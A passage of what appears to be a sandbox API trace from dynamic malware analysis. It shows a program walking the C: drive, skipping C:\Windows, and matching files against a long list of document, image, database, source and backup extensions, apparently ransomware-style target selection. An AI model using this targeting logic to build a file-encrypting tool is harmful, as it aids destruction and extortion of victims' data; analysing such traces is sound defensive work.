(lpString1=".potx", lpString2="y.xml") returned -1 [0212.265] lstrlenW (lpString=".ppa") returned 4 [0212.265] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".ppam") returned 5 [0212.265] lstrcmpiW (lpString1=".ppam", lpString2="y.xml") returned -1 [0212.265] lstrlenW (lpString=".ppm") returned 4 [0212.265] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".pps") returned 4 [0212.265] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".ppsm") returned 5 [0212.265] lstrcmpiW (lpString1=".ppsm", lpString2="y.xml") returned -1 [0212.265] lstrlenW (lpString=".ppt") returned 4 [0212.266] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0212.266] lstrlenW (lpString=".pptm") returned 5 [0212.266] lstrcmpiW (lpString1=".pptm", lpString2="y.xml") returned -1 [0212.266] lstrlenW (lpString=".pptx") returned 5 [0212.266] lstrcmpiW (lpString1=".pptx", lpString2="y.xml") returned -1 [0212.266] lstrlenW (lpString=".prn") returned 4 [0212.266] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0212.266] lstrlenW (lpString=".ps") returned 3 [0212.266] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0212.266] lstrlenW (lpString=".psb") returned 4 [0212.266] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0212.266] lstrlenW (lpString=".psd") returned 4 [0212.266] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0212.266] lstrlenW (lpString=".pst") returned 4 [0212.266] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0212.266] lstrlenW (lpString=".ptx") returned 4 [0212.266] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0212.266] lstrlenW (lpString=".pub") returned 4 [0212.266] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0212.266] lstrlenW (lpString=".pwm") returned 4 [0212.266] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0212.266] lstrlenW (lpString=".pxr") returned 4 [0212.266] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0212.266] lstrlenW (lpString=".py") returned 3 [0212.266] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0212.266] lstrlenW (lpString=".qt") returned 3 [0212.266] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0212.266] lstrlenW (lpString=".r3d") returned 4 [0212.266] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0212.266] lstrlenW (lpString=".raf") returned 4 [0212.266] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0212.266] lstrlenW (lpString=".rar") returned 4 [0212.266] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0212.266] lstrlenW (lpString=".raw") returned 4 [0212.266] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0212.266] lstrlenW (lpString=".rdf") returned 4 [0212.266] lstrcmpiW (lpString1=".rdf", lpString2=".xml") returned -1 [0212.266] lstrlenW (lpString=".rgbe") returned 5 Thread: id = 20 os_tid = 0x888 [0203.851] lstrlenW (lpString="C:") returned 2 [0203.851] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x35dfd00 | out: lpFindFileData=0x35dfd00) returned 0x6110c8 [0203.851] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0203.851] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0203.851] lstrlenW (lpString="$Recycle.Bin") returned 12 [0203.851] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0203.851] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0203.851] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 0x611108 [0203.851] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.851] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.852] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0203.852] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0203.852] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0203.852] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0203.852] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0203.852] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0x611148 [0203.852] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.852] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 1 [0203.852] lstrlenW (lpString="desktop.ini") returned 11 [0203.852] lstrlenW (lpString=".1cd") returned 4 [0203.852] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0203.852] lstrlenW (lpString=".3ds") returned 4 [0203.852] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0203.852] lstrlenW (lpString=".3fr") returned 4 [0203.852] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0203.852] lstrlenW (lpString=".3g2") returned 4 [0203.852] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0203.852] lstrlenW (lpString=".3gp") returned 4 [0203.852] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0203.852] lstrlenW (lpString=".7z") returned 3 [0203.852] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0203.852] lstrlenW (lpString=".accda") returned 6 [0203.852] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0203.852] lstrlenW (lpString=".accdb") returned 6 [0203.852] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0203.853] lstrlenW (lpString=".accdc") returned 6 [0203.853] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0203.853] lstrlenW (lpString=".accde") returned 6 [0203.853] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0203.853] lstrlenW (lpString=".accdt") returned 6 [0203.853] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0203.853] lstrlenW (lpString=".accdw") returned 6 [0203.853] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0203.853] lstrlenW (lpString=".adb") returned 4 [0203.853] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0203.853] lstrlenW (lpString=".adp") returned 4 [0203.853] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0203.853] lstrlenW (lpString=".ai") returned 3 [0203.853] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0203.853] lstrlenW (lpString=".ai3") returned 4 [0203.853] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0203.853] lstrlenW (lpString=".ai4") returned 4 [0203.853] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0203.853] lstrlenW (lpString=".ai5") returned 4 [0203.853] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0203.853] lstrlenW (lpString=".ai6") returned 4 [0203.853] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0203.853] lstrlenW (lpString=".ai7") returned 4 [0203.853] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0203.853] lstrlenW (lpString=".ai8") returned 4 [0203.853] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0203.853] lstrlenW (lpString=".anim") returned 5 [0203.853] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0203.853] lstrlenW (lpString=".arw") returned 4 [0203.853] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0203.853] lstrlenW (lpString=".as") returned 3 [0203.853] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0203.853] lstrlenW (lpString=".asa") returned 4 [0203.853] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0203.853] lstrlenW (lpString=".asc") returned 4 [0203.853] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0203.853] lstrlenW (lpString=".ascx") returned 5 [0203.853] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0203.853] lstrlenW (lpString=".asm") returned 4 [0203.853] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0203.853] lstrlenW (lpString=".asmx") returned 5 [0203.853] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0203.853] lstrlenW (lpString=".asp") returned 4 [0203.853] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0203.853] lstrlenW (lpString=".aspx") returned 5 [0203.853] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0203.853] lstrlenW (lpString=".asr") returned 4 [0203.853] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".asx") returned 4 [0203.854] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".avi") returned 4 [0203.854] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".avs") returned 4 [0203.854] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".backup") returned 7 [0203.854] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0203.854] lstrlenW (lpString=".bak") returned 4 [0203.854] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".bay") returned 4 [0203.854] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".bd") returned 3 [0203.854] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0203.854] lstrlenW (lpString=".bin") returned 4 [0203.854] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".bmp") returned 4 [0203.854] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".bz2") returned 4 [0203.854] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".c") returned 2 [0203.854] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0203.854] lstrlenW (lpString=".cdr") returned 4 [0203.854] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".cer") returned 4 [0203.854] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".cf") returned 3 [0203.854] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0203.854] lstrlenW (lpString=".cfc") returned 4 [0203.854] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".cfm") returned 4 [0203.854] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".cfml") returned 5 [0203.854] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0203.854] lstrlenW (lpString=".cfu") returned 4 [0203.854] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".chm") returned 4 [0203.854] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".cin") returned 4 [0203.854] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".class") returned 6 [0203.854] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0203.854] lstrlenW (lpString=".clx") returned 4 [0203.854] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".config") returned 7 [0203.854] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0203.854] lstrlenW (lpString=".cpp") returned 4 [0203.854] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0203.854] lstrlenW (lpString=".cr2") returned 4 [0203.855] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".crt") returned 4 [0203.855] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".crw") returned 4 [0203.855] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".cs") returned 3 [0203.855] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0203.855] lstrlenW (lpString=".css") returned 4 [0203.855] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".csv") returned 4 [0203.855] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".cub") returned 4 [0203.855] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".dae") returned 4 [0203.855] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".dat") returned 4 [0203.855] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".db") returned 3 [0203.855] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0203.855] lstrlenW (lpString=".dbf") returned 4 [0203.855] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".dbx") returned 4 [0203.855] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".dc3") returned 4 [0203.855] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".dcm") returned 4 [0203.855] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".dcr") returned 4 [0203.855] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".der") returned 4 [0203.855] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".dib") returned 4 [0203.855] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".dic") returned 4 [0203.855] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".dif") returned 4 [0203.855] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".divx") returned 5 [0203.855] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0203.855] lstrlenW (lpString=".djvu") returned 5 [0203.855] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0203.855] lstrlenW (lpString=".dng") returned 4 [0203.855] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".doc") returned 4 [0203.855] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0203.855] lstrlenW (lpString=".docm") returned 5 [0203.855] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0203.855] lstrlenW (lpString=".docx") returned 5 [0203.855] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0203.855] lstrlenW (lpString=".dot") returned 4 [0203.855] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".dotm") returned 5 [0203.856] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0203.856] lstrlenW (lpString=".dotx") returned 5 [0203.856] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0203.856] lstrlenW (lpString=".dpx") returned 4 [0203.856] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".dqy") returned 4 [0203.856] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".dsn") returned 4 [0203.856] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".dt") returned 3 [0203.856] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0203.856] lstrlenW (lpString=".dtd") returned 4 [0203.856] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".dwg") returned 4 [0203.856] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".dwt") returned 4 [0203.856] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".dx") returned 3 [0203.856] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0203.856] lstrlenW (lpString=".dxf") returned 4 [0203.856] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".edml") returned 5 [0203.856] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0203.856] lstrlenW (lpString=".efd") returned 4 [0203.856] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".elf") returned 4 [0203.856] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".emf") returned 4 [0203.856] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".emz") returned 4 [0203.856] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".epf") returned 4 [0203.856] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".eps") returned 4 [0203.856] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".epsf") returned 5 [0203.856] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0203.856] lstrlenW (lpString=".epsp") returned 5 [0203.856] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0203.856] lstrlenW (lpString=".erf") returned 4 [0203.856] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".exr") returned 4 [0203.856] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".f4v") returned 4 [0203.856] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".fido") returned 5 [0203.856] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0203.856] lstrlenW (lpString=".flm") returned 4 [0203.856] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0203.856] lstrlenW (lpString=".flv") returned 4 [0203.857] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".frm") returned 4 [0203.857] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".fxg") returned 4 [0203.857] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".geo") returned 4 [0203.857] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".gif") returned 4 [0203.857] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".grs") returned 4 [0203.857] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".gz") returned 3 [0203.857] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0203.857] lstrlenW (lpString=".h") returned 2 [0203.857] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0203.857] lstrlenW (lpString=".hdr") returned 4 [0203.857] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".hpp") returned 4 [0203.857] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".hta") returned 4 [0203.857] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".htc") returned 4 [0203.857] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".htm") returned 4 [0203.857] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".html") returned 5 [0203.857] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0203.857] lstrlenW (lpString=".icb") returned 4 [0203.857] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".ics") returned 4 [0203.857] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".iff") returned 4 [0203.857] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".inc") returned 4 [0203.857] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0203.857] lstrlenW (lpString=".indd") returned 5 [0203.857] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0203.857] lstrlenW (lpString=".ini") returned 4 [0203.857] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0203.857] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x35df808 | out: lpFindFileData=0x35df808) returned 0 [0203.857] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.857] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 0 [0203.858] FindClose (in: hFindFile=0x611108 | out: hFindFile=0x611108) returned 1 [0203.858] FindNextFileW (in: hFindFile=0x6110c8, lpFindFileData=0x35dfd00 | out: lpFindFileData=0x35dfd00) returned 1 [0203.858] lstrlenW (lpString="C:\\Boot") returned 7 [0203.858] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0203.858] lstrlenW (lpString="Boot") returned 4 [0203.858] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0203.858] lstrlenW (lpString="C:\\Boot") returned 7 [0203.858] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 0x611108 [0203.859] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.860] FindNextFileW (in: hFindFile=0x611108, lpFindFileData=0x35dfa84 | out: lpFindFileData=0x35dfa84) returned 1 [0203.860] lstrlenW (lpString="BCD") returned 3 [0203.860] lstrlenW (lpString=".1cd") returned 4 [0203.860] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0203.860] lstrlenW (lpString=".3ds") returned 4 [0203.860] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0203.860] lstrlenW (lpString=".3fr") returned 4 [0203.860] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0203.860] lstrlenW (lpString=".3g2") returned 4 [0203.860] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0203.860] lstrlenW (lpString=".3gp") returned 4 [0203.860] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0203.860] lstrlenW (lpString=".7z") returned 3 [0203.860] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0203.860] lstrlenW (lpString=".accda") returned 6 [0203.860] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0203.860] lstrlenW (lpString=".accdb") returned 6 [0203.860] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0203.860] lstrlenW (lpString=".accdc") returned 6 [0203.860] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0203.860] lstrlenW (lpString=".accde") returned 6 [0203.860] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0203.860] lstrlenW (lpString=".accdt") returned 6 [0203.860] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0203.860] lstrlenW (lpString=".accdw") returned 6 [0203.860] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0203.860] lstrlenW (lpString=".adb") returned 4 [0203.860] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0203.860] lstrlenW (lpString=".adp") returned 4 [0203.860] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0203.860] lstrlenW (lpString=".ai") returned 3 [0203.860] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0203.860] lstrlenW (lpString=".ai3") returned 4 [0203.861] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".ai4") returned 4 [0203.861] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".ai5") returned 4 [0203.861] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".ai6") returned 4 [0203.861] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".ai7") returned 4 [0203.861] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".ai8") returned 4 [0203.861] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".anim") returned 5 [0203.861] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".arw") returned 4 [0203.861] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".as") returned 3 [0203.861] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0203.861] lstrlenW (lpString=".asa") returned 4 [0203.861] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".asc") returned 4 [0203.861] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".ascx") returned 5 [0203.861] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".asm") returned 4 [0203.861] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".asmx") returned 5 [0203.861] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".asp") returned 4 [0203.861] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".aspx") returned 5 [0203.861] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".asr") returned 4 [0203.861] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".asx") returned 4 [0203.861] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".avi") returned 4 [0203.861] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".avs") returned 4 [0203.861] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".backup") returned 7 [0203.861] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".bak") returned 4 [0203.861] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".bay") returned 4 [0203.861] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0203.861] lstrlenW (lpString=".bd") returned 3 [0203.861] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0203.862] lstrlenW (lpString=".bin") returned 4 [0203.862] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".bmp") returned 4 [0203.862] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".bz2") returned 4 [0203.862] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".c") returned 2 [0203.862] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0203.862] lstrlenW (lpString=".cdr") returned 4 [0203.862] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".cer") returned 4 [0203.862] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".cf") returned 3 [0203.862] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0203.862] lstrlenW (lpString=".cfc") returned 4 [0203.862] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".cfm") returned 4 [0203.862] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".cfml") returned 5 [0203.862] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".cfu") returned 4 [0203.862] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".chm") returned 4 [0203.862] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".cin") returned 4 [0203.862] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".class") returned 6 [0203.862] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0203.862] lstrlenW (lpString=".clx") returned 4 [0203.862] lstrcmpiW (lpString1=".clx", lpString2="") returned 